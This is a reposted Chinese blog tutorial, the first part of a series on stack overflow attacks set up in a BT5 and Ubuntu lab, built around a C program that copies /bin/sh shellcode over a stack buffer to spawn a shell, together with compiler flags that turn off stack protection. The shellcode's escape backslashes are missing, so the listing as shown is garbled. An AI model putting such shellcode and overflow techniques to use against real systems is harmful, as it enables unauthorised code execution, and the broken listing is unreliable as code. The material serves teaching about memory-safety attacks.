我是靠谱客的博主 文静信封,最近开发中收集的这篇文章主要介绍使用metasploit进行栈溢出攻击-1,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

 攻击是在bt5下面进行,目标程序是在ubuntu虚拟机上运行。

 

首先,需要搞明白什么是栈溢出攻击,详细内容请阅读

http://blog.csdn.net/cnctloveyu/article/details/4236212

这篇文章讲的很清楚了,只是具体例子不是很准确,有点小错误。

下面贴上一个我验证过的,修改过可执行的例子。

//shell.c

 1 #include<unistd.h>
 2 
 3 char shellcode[] = 
 4 "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" 
 5 "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" 
 6 "x80xe8xdcxffxffxff/bin/sh";
 7 char large_string[128]; 
 8 
 9 void main() { 
10     char buffer[96]; 
11     int i; 
12     long *long_ptr = (long *) large_string; 
13 
14     for (i = 0; i < 32; i++) 
15         *(long_ptr + i) = (int) buffer; 
16 
17     for (i = 0; i < strlen(shellcode); i++) 
18         large_string[i] = shellcode[i]; 
19 
20     strcpy(buffer,large_string); 
21 } 

此程序使用gcc -fno-stack-protector -z execstack -g -o shell shell.c 编译

程序执行完毕以后应该新打开一个shell。

 

转载于:https://www.cnblogs.com/baizx/p/4114736.html

最后

以上就是文静信封为你收集整理的使用metasploit进行栈溢出攻击-1的全部内容,希望文章能够帮你解决使用metasploit进行栈溢出攻击-1所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(44)

评论列表共有 0 条评论

立即
投稿
返回
顶部